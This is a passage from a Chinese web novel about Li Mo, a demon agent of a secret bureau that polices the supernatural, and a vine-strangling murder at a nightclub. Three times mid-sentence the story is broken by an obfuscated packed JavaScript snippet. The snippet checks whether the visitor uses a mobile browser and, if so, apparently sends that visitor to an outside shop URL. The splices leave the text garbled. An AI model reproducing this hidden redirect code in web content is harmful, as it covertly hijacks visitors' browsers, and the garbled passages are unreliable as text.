《妖类监察手册》 1. 遗物 珑湖市昌平区东陵大道,凌晨十二点半。 正是纸醉金迷时分。 “爱丽舍”门前,门童带着职业化的灿烂笑容,正点头哈腰地将一对珠光宝气的青年男女迎进门中。这是一家新开的高端娱乐会所,是珑湖市风头正劲一座销金窟。 一天到晚弯上几百次腰,机器人也该上机油了。门童趁着短暂空隙,抓紧时间直起身锤了锤腰,一转头,却见街对面来了个不速之客。 那是个身材颇高的男人,穿着一件看不出牌子的黑色羊绒风衣,衣领竖起遮住了脸庞。爱丽舍金碧辉煌的灯光能照亮半条东陵大道,他却精准地站在了巷口的一道阴影里,半个身子隐没在黑暗中。 门童突然打了个哆嗦,揉腰的手一顿,觉得这三月初春的夜色无端寒凉了起来。 男人走出小巷,朝爱丽舍大门走来。门童赶忙迎上前道:“先生您好,请问有预约吗?” “没有。”男人声音低沉:“我来参加‘酒神节’。” “哦。”门童脸上笑容不变,眼皮隐晦地向下一耷拉,嫌弃地心想:“又是个穷逼。” 爱丽舍是预约制,平时非会员恕不招待,唯一的例外就是一年一度的“酒神节”——其实就是周年店庆,十二点一过全场餐食免费酒水半价,充卡赠送豪华大礼,以及香槟塔和幸运抽奖等各种惊喜,所有服务员都换上白色曳地长袍戴金色假面,还有“阿弗洛狄忒”“阿尔忒弥斯”“雅典娜”等一众女神整点准时上台献舞……好像套上了这些哗众取宠的名目,这玩意儿就能变得多高雅似的。 平心而论,面前的男人长得是真不错。门童久在会所门前站岗,红男绿女见了不知凡几,即便是以他那过于苛刻的标准来看,眼前的黑衣男子也算是出挑的。剥离了脸上的那层浓重的阴影,男人的眉目深刻如刀削斧凿,鼻梁高挺,长眉锋利,身姿笔挺而肩膀宽厚,爱丽舍辉煌的灯光打在身上,他整个人都呈现出一种厚重深沉的大理石般的质感。 可惜……长得再好有什么用,没开豪车没带女伴,浑身上下看不见一件奢款大牌,还不是个只能靠半价酒水蹭吃蹭喝发朋友圈的low货。 门童腹诽归腹诽,职业修养仍是在的,灿烂的笑容像是焊在了他的脸上,热情地躬身弯腰:“欢迎欢迎,您里面请,酒神宴会场在一层。” “多谢。” 男人举步,高大的身躯竟像是飘移一般,明明离着还有几级台阶,他却幻影似的就挪到了门前。错身而过的一刹那,门童突然觉得胳膊上传来一股分量,轻飘飘地将他托了起来。 “你腰部有伤,不必拜我。”男人留下了这么一句话,身影已经消失在了大门内。 门童愣在原地,下意识地摸了摸自己胳膊上被男人托举过的地方。那只手沉稳有力,掌心似乎很热,隔着衣袖也传过来一丝温度。 暖乎乎的。 他摸不着头脑,回头望了望已看不见人,只好草草下了一句话总结。 “……真是个怪人。” 李默一脚踏进迪厅大门,当头就被声色犬马淋了一身。 十二点刚过半小时,里面的妖魔鬼怪却已经现了原形。大厅里灯光变幻,音乐开得震天响,舞池里人影错落,大多数都只披着一条勉强可以被称为“长袍”的白布,身上涂着金粉,放眼望去遍地都是“宙斯”“阿波罗”和“阿弗洛狄忒”,白花花的腰肢胳膊和大腿起伏舞动。端着酒杯的希腊侍者来回穿梭,酒味、烟味、汗味和各种乱七八糟的香水味搅和成一团,差点把李默熏了个跟头。 ……简直是折磨。 李默始终不能理解人类为什么要这么执着地把自己腌入味,好像随时准备着要成为别人的盘中餐……虽然面前的这盘菜看着也不怎么好吃的样子。 他长眉深深蹙起,忍住了掉头就走的冲动,站在门口,轻轻吸了一鼻子。 刹那间各种琳琅满目的气味在他识海里上演了一出烟花秀,差点把他的神识炸上天——好在一缕微弱的熟悉气味一闪而过,及时把他的注意力拉了回来。 找到了。 李默举步穿越舞池,从满屋子劲歌热舞的人群中艰难挤过,终于走到了吧台边,对着一个正背对着舞池侃侃而谈的背影一拍肩—— “卧槽!” 那人正对着面前一众衣着清凉的女神侃侃而谈,丝毫没有察觉李默的接近,被这突如其来的鬼拍肩吓得一蹦三尺高,当即破口大骂:“妈的谁——” 他一转头,即将出口的骂声原地拐了个弯,眨眼间就变成了毫不作伪的惊喜:“默哥!你来啦!” 李默朝他简短地一点头。 那人支棱着一头黄毛,身材干干瘦瘦的,比李默足足矮了一个头。他身上的短袖T恤开了好几个不明所以的大窟窿,耳环鼻环一应俱全,脖子上还挂了根堪比狗链的银项链——感觉要是再推辆“鬼火”,这套装备就齐全了。 黄毛穿得嚣张,态度倒是客气,一见李默脸上就挂了笑:“默哥你等等我。”转身对着面前的“雅典娜”赔了个笑脸:“呦,不好意思了各位美女,我等的人来了,下回再聊哈。” “雅典娜”明显不太乐意:“爆料就爆一半什么意思啊?我还等着听姜家上市的内幕消息呢。” “下次一定下次一定!买一送一哈!”黄毛忙不迭赔笑,推着李默赶紧走了。 两人好不容易找了个偏僻的卡座坐下,音乐灯光和人群都远了些。黄毛一屁股把自己摔进了真皮沙发里,整个人四仰八叉地摊开,长吁了一口气:“我的妈呀,累死我了。这一帮少爷小姐可真难伺候。” 李默在他对面落座,身姿笔挺规规矩矩,开口就是:“你还在贩卖情报消息?” “哪儿啊!”黄毛“噌”地一下弹了起来,连连摆手:“没卖!没卖!就是纯八卦爆料,不收钱的,嘿嘿。” 他脸上的表情很好地诠释了什么叫做“做贼心虚”。 黄毛的原身是一只耳鼠,等级不高,妖力也有限,唯一值得称道的就是一对顶风听十里的好耳朵,极善听墙角窃消息,故当了个情报贩子。这一行危险程度颇高,很容易听到些什么不该听到的,前几年他在雍京就因此犯事,差点落到异监局总部手里。幸而当时那个案子恰好是李默经手,想办法替他遮掩了几分,总算保住了他的自由身。 所以这次李默来珑湖,第一个联系的就是他,偌大的人情欠着,他也不敢不来。 “放心,我刚到珑湖,调职手续还未完成,现在不算监察员,不会抓你。”李默道:“今天找你,是有事相求。” “哎呦默哥,你这话可说重了,你找我哪儿用的上求这个字。”黄毛慌忙道:“有事您尽管说。” 李默从怀里掏出手机来。 “你消息来源广泛,见过这个么?” 黄毛接过手机,屏幕上是一张照片,画的是个稀奇古怪的图案,有点像个变了形的篆文,阴蚀阳刻的,看着十分古拙,具体是什么却认不出来。 黄毛捧着手机横竖端详半天,还是摇了摇头:“这个还真没见过。默哥,这是什么?” 李默:“这是严瑾的遗物。” 黄毛手机差点吓飞了:“大大大大……大监察官?!” 他整个人宛如受惊的兔子,捧在手里的手机像是变成了灼红的煤炭,拿也不是放也不是,绷紧身子左窥右探,生怕那传说中大监察官的鬼魂会从哪里冒出来把他逮捕归案似的。 李默把手机拿了回来:“他已经不是大监察官了。” 他脸上没有什么表情,语气也很平静,眼睑微垂,长睫在脸上投下了一小块阴影,像是在思考着什么。迪厅里光线昏暗,闪烁的混色灯光时不时划过他的脸颊,他立体而深邃五官在明灭不定的灯光下呈现出一种石雕般的质感,坚硬而沉重。 黄毛偷偷咽了口唾沫,不敢说话。他听说李默能够以一介妖类之身加入异监局,就是这位严瑾大监察官引荐的,也听说这位神惊鬼惧凶名在外的大监察官三年前因“重大过失”被免去了职务,不久就死了,死因似乎别有内情……但人都死了三年多了,还把遗物揣在身上,这是什么心理? 难不成是……睹物思人? 听惯了墙角绯闻八卦的黄毛展开了丰富的联想。 一时间两人都没有说话。片刻后,还是李默先抬起头来:“我初来乍到,对珑湖不太熟悉,打听起来多有不便。这个符号最后一次出现的地方就是在这里,如果它再出现的话,希望你帮我留意一下。” 他从怀里掏出一个拇指大的小玻璃瓶,里面盛着一些闪闪发光的结晶体,好像一小撮流动的银沙:“这是报酬。” “哎呦,默哥!您这就见外了不是?”黄毛嘴上推辞身体诚实,已经笑嘻嘻把那个小玻璃瓶接了过来:“哎呦!您看这上好的灵砂!成色真足!默哥大气!” 他生怕李默把这玩意儿要回去似的,赶忙揣进了兜里,豪迈地一拍胸脯:“包在我身上!别的不敢说,包打听这一块,我黄兴德在珑湖说第二,就没人敢称第一!” 李默:“……切莫声张。” “哦哦哦是是是……”黄兴德赶紧做贼一样低下头来,竖起手指做了个“嘘”的手势,左右看了看之后又直起腰来:“不过默哥,你大老远来一趟,这一顿怎么也得让我表示表示心意,今天的酒算我的,咱们哥俩喝个尽兴。” 李默刚想阻止:“不必,我……” 然而黄毛——黄兴德刚做成了一笔生意,还占了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091593|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大便宜,此时无论如何也要豪爽一番,推拒之间人已经站了起来:“默哥你跟我客气什么,定在这里本来就是想给你接风洗尘的,今天务必让我请……那个服务员——哎呦卧槽!” 他一边跟李默推拒一边招手唤服务员,没留神身边过道上也来了几个小青年,个个打扮得花红柳绿的,手上端着几杯酒,明显已经醉了七八分,正大笑着走过来。黄毛这么一抬手,好巧不巧打在酒杯上,顿时泼了几人一身。 “卧槽,有病吧?没长眼吗?!” “妈的,都洒老子身上了!” “找死吗?!” 来爱丽舍消费的多半非富即贵,这几个小青年看起来也是二世祖级别,本就脾气不好,被酒气一激,当即就上了头。为首一个一把揪住了黄兴德的领子:“你小子没长眼?找死是不是?” 然而他这次威风却是耍错了对象。黄兴德毕竟是个妖类,人类的公子哥儿再怎么富贵权势也入不了他的眼。他本身也不是个脾气好的,被人这么挑衅当即凶性发作,一把扭住那小青年的拳头:“艹,你找茬?跟我动手,老子弄死你信不信?” “你他妈还敢跟我放狠话?”那小青年一头红色卷毛,活像顶了个火盆在头上,见黄兴德居然还敢还嘴,当即勃然大怒:“知道我是谁吗?” “老子管你是哪个死人——” 他的话音戛然而止。 李默悄无声息地出现在两人身侧,一手一个,抓住了两人交错扭紧的手腕——轻描淡写地给两人分开了。 黄兴德:“……” 他后背汗毛倒竖,突然激灵灵地打了个寒战。 不管李默对他再怎么客气,真论起实力和等级,李默一指头碾死他十个都绰绰有余,更何况他还是个有编有岗的在职监察员——他是怎么敢当着李默的面说要杀人的! 那一刹那,黄兴德货真价实地感到了恐惧。 然而那个红发青年却不是个长眼的。李默攥住了他的手腕,他用力挣了两下没挣开,又搭上另一只手挣了两下,却见李默悬空的那只手宛如铜浇铁铸,居然还是纹丝不动,当即怒道:“你们俩一伙儿的?你也找死?!” 李默闻言侧头,居高临下地看了他一眼。 红发青年当即浑身一僵。 两人距离极近,红发青年只能仰起脸来看他,这一眼,就看到了李默的眼睛。 他蓦然发现面前的这个高大男人眼眸极黑极深,眼底毫无情绪,被这么一双眼睛近距离盯着,红发青年顿时宛如一盆冷水浇了个透心凉,当即倒吸一口冷气,酒意刹那间消散大半。 只听李默声音低沉:“大庭广众之下,请不要动手。刚才是我们冲撞了各位,我们愿意赔偿。” 他一松手,红发青年“噔噔噔”倒退好几步,捂着手腕顿时龇牙咧嘴起来。 “昇爷!”周围几人见状立马围了上来,撸胳膊挽袖子看起来是想立马找回场子。然而那为首的红发青年却已经不想再纠缠了,咬了咬牙道:“算了,我刚放出来,别给老爷子再找麻烦了。” 说罢,他狠狠地瞪了李默两人一眼,往地上啐了一口,转身就走。剩下几人也不好再找茬,只好留下了几个侮辱性的手势,骂骂咧咧地跟着走了。 “默哥……”黄兴德讪讪地出声,却被李默一个手势制止了。 他抬头扫了一眼角落里无孔不入的监控摄像头,眉宇间染上了一抹忧色,顿了顿才开口道:“走吧。” 今天这顿酒是喝不成了。 迪厅里变幻的灯光和强劲的音乐成了有力的掩护,酒池肉林里的众人还在摇摆蹦迪,沉醉在各自的活色生香里,没有人注意到这小小的插曲。 李默和黄兴德汇入光怪陆离的人群,像两尾融入大海的游鱼。 夜色喧嚣漫长。 “酒神节”的狂欢持续了整夜,一直到黎明时分方才偃旗息鼓。到了早上五六点钟,迪厅里的人已经寥寥无几。白班服务员们打着哈欠上班,将剩下几位烂醉如泥的贵宾们请到包厢,然后照例开始清理打扫。 一个白班服务员推着拖地车,困意朦胧地推开一间包厢门,见房间昏暗,于是伸手摸索到门侧开关,开了灯。 她一屁股坐在了地上。 满屋翠色莹然,像是开了个室内植物园。无数生机勃勃的翠绿藤蔓盘曲纠结,将一个已经不成形状的人倒吊在了天花板上。血色和碧色交相辉映,血肉之躯和藤蔓交错扭曲,宛如某种震撼眼球的行为艺术。 那人还大睁着一双死不瞑目的眼睛,直勾勾地盯着门口闯进来的活人。 一滴血从他的红色卷发上滴落下来。 片刻后,刺耳的尖叫声终于撕裂了珑湖上空黎明时分的薄雾。 2. 仇杀 半个小时后,爱丽舍周围已经停满了警车。 通往案发现场的侧门已经被警戒线围了起来,但看热闹的人依然把门口一圈围得水泄不通。门半开着,不时有警察进进出出,门口的人就跟着伸长了脖子往前探,手机闪光灯亮个不停,热闹得仿佛这不是命案现场,而是明星走台。 “唉,别挤,别挤……” “卧槽挤什么,都没法下脚了……” “后面的别挤了!前面都围起来了,啥也看不到挤个屁!” 毕竟看热闹乃人类天性,凶案现场这种八辈子也不一定能看到的热闹更是极大地点燃了围观群众的热情。迪厅里还有几个彻夜蹦迪的小网红,现场就支起手机打开了直播,一个个踮着脚尖拼命把手机往前送,生怕蹭不到这波热度。几个警察仍在外围努力维持着秩序,前面的人拼命想要站住脚,后面的则不管不顾地往前涌,人群挤挤挨挨推来搡去,骂声和叫嚷声不觉于耳,眼看着—— “卧槽别挤了!要踩踏了!” 突然,不知谁一声怒吼,人群顿时哗然一片,骚动转瞬扩大,推搡中不少人立马东倒西歪,外围一个细高跟小网红正卖力探身举着手机直播,一动之下立马失去平衡,一声惊呼眼看要倒—— “哎呦,美女,小心啊。” 一只手突然从斜刺里伸过来,扶了她一把。 那手臂坚实有力,肤色白皙,肌肉线条结实流畅,看着十分悦目。小网红慌乱之中伸手一抓,那只手竟然纹丝不动,稳稳当当地一抬,把她扶了起来。 “谢、谢谢啊……”小网红慌忙理了理头发,正准备站起来,突然瞟到那手腕上六位数的手表牌子,心底顿时一突,下意识地想:“咦?这是哪家的公子哥儿?” 她抬起头来,正准备摆出一个娇羞笑容,突然呼吸一滞,竟然卡壳了。 扶住她那人是个年轻男人,身量很高,身形端正,穿着一件修身黑色衬衣,袖子挽到手肘,领口的扣子随意开了两颗,下摆则稳稳当当扎进了暗蓝色牛仔裤里,显出了一种既周正端方又随意不羁的矛盾气质。一身打扮合身又得体,恰到好处地衬托出了这人颀长的身材。 他一双眼睛黑亮有神,几乎带着点少年气,又仿佛天生笑唇一样,嘴角自然而然地就挂着几分带着痞气的笑意,看着和煦又洒脱,哪怕看惯了俊男美女的圈内人小网红乍一见到,也一时惊艳地忘了词。 公子哥儿把她扶稳站定,又冲着她身后伸头探脑,好奇道:“这是干嘛呢?这么多人?” “哦,听、听说是死了个人。”小网红被他这一眼看得脸颊飞红,下意识地低头答道。 公子哥儿惊奇道:“凶案现场还能开直播?” “不、不能吧……”小网红嚅嗫道:“没事,反正警察管不过来……” “哦,管不过来啊,那好办。”他点了点头,随即灿然一笑:“刚好我带人来了。” 他一回头,笑嘻嘻地吩咐道:“拷起来。” 小网红:“?” 随着他一声令下,迪厅大门轰然洞开。 热烈璀璨的晨光扑了进来,随即被铿锵有力的脚步声踏碎成一地流金。幢幢人影骤然遮蔽了日光,两队身穿深蓝色制服的人马跑步入场,震起尘埃无数,行动迅捷而整齐划一,眨眼间就训练有素地将人群围了起来。 人群被这支天降神兵一镇,骤然鸦雀无声,纷纷瞪起了警惕又茫然的眼睛。 “这、这是要干嘛?” “什么人?警察?” “看制服不像……哎呦卧槽,你干什么!干嘛抢我手机!” 被拿走了手机的那人正要前扑,却见面前深蓝色制服的队员从怀里掏出证件一抖,证件上交叉长剑和金色双翼的徽章亮得刺目,肃然道:“异监局执法,无关人员服从指挥!” 人群先是一滞,随即骤然大乱。毕竟“异监局”是个什么部门谁也没听过,没人打算服从他们的指挥。只是这群蓝制服完全无视了人群的反抗与叫骂,眨眼间就把所有人控制起来上了手铐,收走了所有通讯工具。 “你们到底是哪个部门的!”人群中一个中年男人反抗得格外激烈,大吼道:“我要去投诉你们!” “哦呦,有骨气。”先前的那个公子哥儿正在跟那群人不知道说什么,被这一嗓子被吸引了注意力,一脸意外地看着那个中年男人:“你要投诉我们啥?” “你——你们暴力执法!无视人权!”那个中年男人扯着脖子叫道:“你们非法侵占我们的财物!还动手打人!” “哦?”那公子哥儿拎起削薄的眼皮,上上下下打量了他一番:“打你哪儿了我看看?” 那膀大腰圆的男人涨红了脸,杵在原地喘粗气——他浑身上下连块油皮都没破,倒是那个负责控制他的队员被他推搡了好几下,后背在柱子上撞出了“咚”的一声闷响。 “啧啧,反抗执法还颠倒黑白,兄弟我看你人品和前途都很成问题啊。”公子哥儿挑起薄唇:“早听警察的别凑这热闹,不是啥事没有了?” “你!”中年男子七窍生烟,怒吼道:“有本事告诉我你叫什么,看老子告不死你!” “好说,本人姓周名纬,珑湖市异监局监察执法总队队长是也。”公子哥儿轻描淡写地挥了挥手:“虽然告诉了你待会儿你的记忆也会被消除,但本人大气,还是决定满足你这份好奇心。” “再说——” 他话音一顿,嘴角微挑,露出一个活能把人气炸肺的讥诮笑容来。 “你要是知道能上哪儿告我们去,也就不会从来没听过‘异监局’这个名字了,” “对不对?” 异监局——全称“国家异常生物与现象监督管理局”,是个实打实的暴力机关。 顾名思义,这个部门就是个专门与怪力乱神打交道的单位,所有天上飞的地上跑的水里游的,除了UFO不归他们管,剩下跟超自然力量沾边的,全在他们的监察执法范围内。 当然,跟所有的“相关部门”一样,这个单位神秘异常,隐匿于公众视线中,从未在大庭广众之下出现过。 “报告!”一个身材娇小的女监察员跑到周纬面前一个立正,声音清朗道:“现场清场完毕,所有无关人员已经被控制,正在进行记忆清洗程序!所有通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091594|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讯工具全部收缴,相关文字、图片、影像资料已经删除,信息科正在对已发布内容进行持续跟踪!” “嗯,不错。”周纬点点头,摸了摸下巴,低头看了看面前的年轻的小监察员:“话说你是新来的实习生吧?叫洛……洛……洛什么来着?” “洛小莉。”小监察员咧嘴一笑,脑后的马尾晃了晃,露出两个浅浅的酒窝。 “哦,小萝莉。”周纬从善如流地给人家起了个外号,一挑眉:“这是第一次出现场吧?见过死人吗?” 洛小莉:“?” 那边厢,周纬已经兴致勃勃地挑开了警戒线,一矮身钻了进去:“走,领你见见世面去。” 说起来,异监局基本每一次外勤任务现场,都像是一场大型的视觉奇观。 华丽的包厢此刻已经变成了一座小型植物园,小臂粗的妖藤盘根错节,将目之所及的一切盘了个严严实实。满屋翠色萦绕,清香扑鼻,如果不是中间端端正正地吊着个死人,委实是一副枝繁叶茂、生机勃勃的好景致。 异监局没到,先一步到达的警察没敢贸然放下受害者的遗体。只见那人头下脚上地倒吊在半空中,盘虬纠结的粗壮妖藤从天花板上延伸下来,把他裹了个结结实实,只露出几段扭曲的肢体。他的手脚都错了位,整个人宛如一个被拆散又错误组装起来的傀儡,颠三倒四地倒悬着,呈现出一种荒诞诡谲的离奇观感。 他的脸因充血而紫黑肿胀,五官扭曲而狰狞,那双死不瞑目的眼睛还兀自大睁着,暴露出临死前的恐怖。 “死因是活绞,死者身上没有开放性伤口,因藤蔓挤压扭曲导致骨骼和内脏破裂,死亡特征发生变化,具体死亡时间还得等到尸检之后才能判定。”洛小莉弹了个响指,指尖“啪”地冒出一簇火焰,眼前的一根藤蔓跟受惊了似的,猛地抬头朝她刺来,旋即被那簇火苗烧成了灰烬。她拍打掉手上的落灰:“妖犯妖力不高,考虑到火属性灵力对植物系的压制作用,最高不会超过C级,是个小妖。” 她说完,就见身边的周纬抱着双臂,面色复杂地看着她。 这目光像是在房间里见了一头恐龙似的。洛小莉警惕地后退一步道:“干嘛?” “少女,天赋异禀啊。”周纬一脸佩服道:“你不害怕?” “死人有什么好怕的?”洛小莉一撇嘴:“周队你不要对女生有刻板印象,我可是看克苏鲁和伊藤润二长大的。” 周纬:“……” 想要带新人开眼界没开成,反而新人被教育了一顿的周纬讪讪地摸了摸鼻子,感觉自己摸了一手的灰:“那行吧,看得出来作案动机吗?” “都绞成三折叠了,”洛小莉耸了耸肩:“仇杀呗。” 周纬似笑非笑地看着她:“少女,你这推理过程略显潦草啊。” 洛小莉一听这话就不服气了:“那你说是怎么看出来的?” 却见周纬突然竖起了一根手指,立在唇前比了个“嘘”的口型。 这位队长神神秘秘地一眨眼,朝着整个房间比划了一圈—— “仔细看,你没发现这个房间里,‘多’了点东西吗?” 3. 舆情 周纬这人,先天生就一副好皮囊,后天又养出了一身混不吝的脾气,整天嘻嘻哈哈没个正形。这两项加在一起,就很容易造就一个特质——他没有威严。 明明不大不小也是个官,却没人拿他当个正经领导看。在队里的时候跟人勾肩搭背称兄道弟,在洛小莉这个小实习生面前也端不起架子。 于是惨遭质疑。 洛小莉围着那具奇形怪状的尸体赚了好几圈儿,又在房间四周细细摸索了一遍,到底没看出来哪儿有问题,抬头狐疑道:“多什么了?” 周纬一指房间中央的尸体:“多了那个。” 洛小莉:“?” 就见周纬抱起双臂,笑吟吟地看着她:“我问你,妖类杀人通常是为了什么?” “为了吃呗……”洛小莉下意识的答了一句,随即反应了过来:“哦,我明白了。” 妖类以天地灵气为生,所有已经化形的妖类,严格意义上来讲是不需要吃东西的。只是绝大部分妖类也都曾是鸟兽虫鱼,总还是改不了化形前的一些习惯,不吃虽然不会死,但会馋会饿,所以妖类一般也不怎么遏制自己的口腹之欲。 只是他们的食谱跟人类的没什么区别,人类能吃的他们也都能吃,甚至还广泛一些。这也就意味着,人类虽然也在他们的食谱上,但万万没有妖类非吃人不可的道理。 毕竟这年头,抓人吃人非但麻烦,还容易招来异监局,风险太大得不偿失——再说点个外卖他不香吗? 只是对于妖力来说,唯有一种人除外。 ——灵力者。 灵力者对于妖类来说,就类似千年老参和灵芝,滋味不一定多么好,却一定是大补,对妖力修为颇有助宜。且灵力者根据属性和灵力强弱不同,对妖类有这不同程度的吸引力,例如像洛小莉这种火属性灵力者,在化蛇、赢鱼之类的水属性妖类眼里可能不受待见,但在那些火系妖类眼里,就是一顿喷香且大补的人形自走小烧烤。 故而妖类杀人,多半杀的都是灵力者,并且都是杀来吃的。 但如果是为了吃,那尸体就不该这么齐整,心肝脾肺肾俱全,连个零部件儿都没缺。 洛小莉回头看了看那尸体:“所以他不是灵力者?” “他是不是灵力者这件事,”周纬道:“是你走进这个案发现场时,第一时间就要确认的问题。” 这个从走近案发现场就在插科打诨的人,终于露出了几分正经的表情,走到那具尸体面前,道:“首先,如果他是灵力者,现场不会是这个样子。” 他摆了摆手,指向周边爬满全屋的藤蔓:“如你所说,这是个最高不超过C级的小妖,面对这样的妖类,只要不是一击即杀,哪怕是个初觉醒的灵力者,也不会毫无反抗之力。也就是说,房间内会有战斗和反抗的痕迹,如果这个灵力者再强大一点,就算过了一夜,现场也应该还有些许灵力残留。” 洛小莉恍然大悟——不管是灵力者还是妖类,动用力量之后都会在现场留下些微残迹。如今房间内隐约的妖力残迹还在,灵力残迹却丝毫不见踪影,也没有战斗痕迹,只能证明被害人根本不是灵力者。 周纬扫了她一眼,似笑非笑道:“现在才注意到妖力残迹吗?” 洛小丽杵在原地,一声不吭,脸慢慢涨红了。 “嘛,这也不怪你,这个妖类确实有点弱,妖力残迹太细微了。”周纬阔别已久的良心居然罕见地冒了个头,给小实习生找了个台阶下,但人话没说两句就原形毕露:“但这个意识要有。用精神力感知妖力残迹,熟练地话可以直接判断出妖类等级,不需要再照搬课本上灵力对冲的那一套。” 这回洛小莉不脸红了,她点了点头,郑重地把周纬的话听进去了。 灵力者数量稀少,又有特殊能力傍身,许多人一朝觉醒脱胎换骨,免不了会生出自己是“天选之人”的错觉。 灵修学院只能教给他们知识,却教不了经验,更改不了脾性。初出茅庐的年轻人骄傲气盛是好事,但若是怀揣着一腔不怕虎的牛犊之心,骤然踏上与超自然力量交锋的战场,等到真正杀伐见血的时候再惊觉自己的无知无畏,那可就太晚了。 洛小莉虽然性格耿直倔强,却绝不是个不识好歹的。她听得出周纬这是在给她传授现场经验,赶忙集中精神听了下去。 “作案动机通常就那么几样,情杀、仇杀或者谋财害命。”周纬接着道:“这个妖类不为吞噬灵力,但却使用了活绞这种极为痛苦的方式杀人,大概率是跟死者有私人恩怨,仇杀的可能性最大——从这一点上来说,你的判断没错。” 他朝洛小莉一笑,露出一口白牙:“那如果是仇杀,应该从何处入手查起呢?” 洛小莉这回福至心灵:“死者的社会关系!” “答对了,但又不完全对。” 周纬弹了个响指,继续侃侃而谈:“正常来讲查死者的社会关系是最快的办法,但现在还有另一条捷径。但鉴于这位仁兄倒吊在这里一整夜,脸肿得爹妈不认,DNA鉴定又需要时间,我们一时半会儿很难确定他的身份——” 就在这时,一阵急促粗重的脚步声突然从门口传来,紧接着一个监察员上气不接下气地出现在门前,打断了周纬的话。 “周队,不好了!不知道是谁把案发现场的□□高清照片传到了网上,已经大范围流传开了!” “现在这事儿上了热搜,死者的身份已经被扒出来了!” 周纬:“……” 是不是他今天出门没看黄历,打脸来得这么快的吗?! 案发的包厢在迪厅一侧,和迪厅中间还隔着一条走廊和一道侧门。最先发现尸体的白班服务员嗷的一嗓子,惊动了领班,过来一瞧就知道出了大事,当机立断报了警,并且很有眼力见儿地把走廊里所有人都赶了出去,关上了迪厅侧门。 后来警方赶到,发现这案子已经不是公安力量可以处理得了的了,于是立马走流程将案子转交异监局。在这期间,那道侧门前一直是被一条黄色封锁线封禁起来的。那些后来看热闹的人群,也都被警方拦在了封锁线外,手机镜头伸得再长,也探不到走廊深处的包厢里。 所以按理来说,亲眼见到了包厢内的一场景象的,应该只有发现尸体的服务员、报案人和在侧门关闭前前来围观的寥寥数人。 其中或许也有好事者拍下了照片或者录下了视频,但异监局一来就重点检查过他们的通讯设备,可疑的内容已经全部删了个干净,就算有个别漏网之鱼传到了网上,也躲不过异监局信息科和公安网警层层关键词的围追堵截。 所以那所谓的“案发现场高清□□照片”,到底是怎么在短时间内大范围传播开的? 热搜又是谁买的? 周纬磨了磨后槽牙,从兜里掏出手机点开软件,主榜热搜一滑到底,一眼就看到了那个扎眼的词条。 “#珑湖市高端会所惊现诡异杀人案#” 他点进词条,广场上却没多少内容,大多是文字贴,且久久不能刷新,一看就是信息科和网警在发力。只有偶尔在一些帖子的评论区里,才能看到几张又是镜像又是翻转,还被糊了一团意义不明的线条的图片。 然而还是能看出,这就是案发现场的照片没错。从角度上来看还是站在门口拍的,把那具被活绞而死惨不忍睹的尸体拍了个清清楚楚。 那些文字贴的内容也能看得出来是在讨论这张照片,看起来看过的人已经不在少数。这还只是一个社媒平台,其他平台的情况恐怕也不容乐观……看来报告所说的“大范围传播”所言非虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“震惊!爱丽舍杀人案受害者竟是知名富二代!” “曝富二代酒后纵火案内幕,花钱顶罪手眼通天?” “深扒马氏集团发家史,□□混混何以一夜洗白?” “马诚发迹路上的三个女人,她才是最后赢家!” 洛小莉:“……” “这都什么乱七八糟的!”她皱起眉头:“这个受害人好像还挺有背景,这下不是更麻烦了?” 然而她余光一瞥,却惊讶地看见周纬的神色竟然放松了下来,不再那么紧绷着了。 “这是好事。”周纬向她解释道:“让吃瓜群众们把注意力转移到‘富二代纵火杀人’,去深扒其中黑幕,总比让他们讨论案发现场那张诡异照片要好——当一件事实在遮掩不过去,转移注意力也不失为一种好办法。” 异监局的首要任务是保证超自然现象的存在不被民众所知——至于那个受害者姓马还是姓骡子,那不在异监局的考虑范围内。 不过,话又说回来…… 周纬的目光再次投向热搜上那个“恰到好处”的词条。 要在这么短的时间内快速做出反应,撤热搜又上热搜,还要精准把握网民心理,找到转移大众视线的最佳热点抛出鱼饵——这不仅需要对舆情风向有着高度敏感和掌控力,还要有极其庞大成熟的网络舆论资源才行。是谁在背后出手帮助异监局? 周纬脑海里突然蹦出一个名字,眼皮子不由自主地一跳。 几乎就在同一秒,跟不祥预感应验了似的,周纬的手机轻轻一震,还未来得及锁屏的屏幕上弹出了一条微信消息—— 只有简简单单四个大字: “欠我一次。” 4. 黑盒 洛小莉万万没想到,周纬所说的“捷径”,竟然就是——查监控。 多么朴实无华。 “这是个植物系妖类,又不是隐形的,也不会打地道钻进来。那包厢出入只有一道门,门外就是走廊,他们但凡是从门里进来的,不就得从监控摄像头下面过。”周纬手一摊,无辜道:“查监控不就是最快的方法咯。” 他那双桃花眼眨巴眨巴,传达出来的就一个意思——尔等蠢蛋想不到,我有什么办法。 洛小丽牙花子撮得直冒火星。 